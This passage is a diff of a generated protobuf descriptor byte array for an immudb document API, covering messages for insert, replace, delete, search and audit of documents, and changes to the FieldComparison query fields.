0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x3a, 0x23, 0x92, 0x41, 0x20, 0x0a, + 0x1e, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0xd2, 0x01, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, + 0x93, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x3a, 0x18, 0x92, 0x41, 0x15, + 0x0a, 0x13, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x08, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x6d, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x52, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, + 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, + 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0xe2, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, + 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, + 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, + 0x6e, 0x3a, 0x35, 0x92, 0x41, 0x32, 0x0a, 0x30, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x49, 0x64, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x04, 0x70, 0x61, + 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0xd2, 0x01, 0x08, + 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, + 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, + 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, + 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, + 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, + 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x36, 0x92, 0x41, 0x33, 0x0a, 0x31, 0xd2, + 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, + 0xd2, 0x01, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0xd2, 0x01, + 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0xd2, 0x01, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, + 0x22, 0x76, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, + 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x3a, 0x18, + 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, + 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xb5, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, - 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x3a, 0x14, 0x92, 0x41, 0x11, 0x0a, 0x0f, 0xd2, 0x01, 0x05, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, 0x63, 0x22, 0x75, 0x0a, 0x17, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, - 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x73, 0x22, 0xe7, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x20, + 0x92, 0x41, 0x1d, 0x0a, 0x1b, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0xd2, 0x01, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x22, 0x4f, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, + 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x3a, 0x14, 0x92, 0x41, 0x11, + 0x0a, 0x0f, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, + 0x63, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c, 0x92, 0x41, 0x19, 0x0a, 0x17, + 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x09, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x96, 0x02, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, + 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, 0x0a, 0x08, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x3a, 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x22, 0x3d, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x3a, 0x0f, + 0x92, 0x41, 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x22, + 0xe0, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, - 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, - 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, + 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x3c, 0x92, 0x41, 0x39, 0x0a, 0x37, 0xd2, 0x01, 0x0e, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, 0x63, + 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, + 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, - 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, - 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x2c, 0x0a, - 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x14, - 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, - 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, - 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x3a, 0x35, 0x92, 0x41, 0x32, 0x0a, 0x30, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 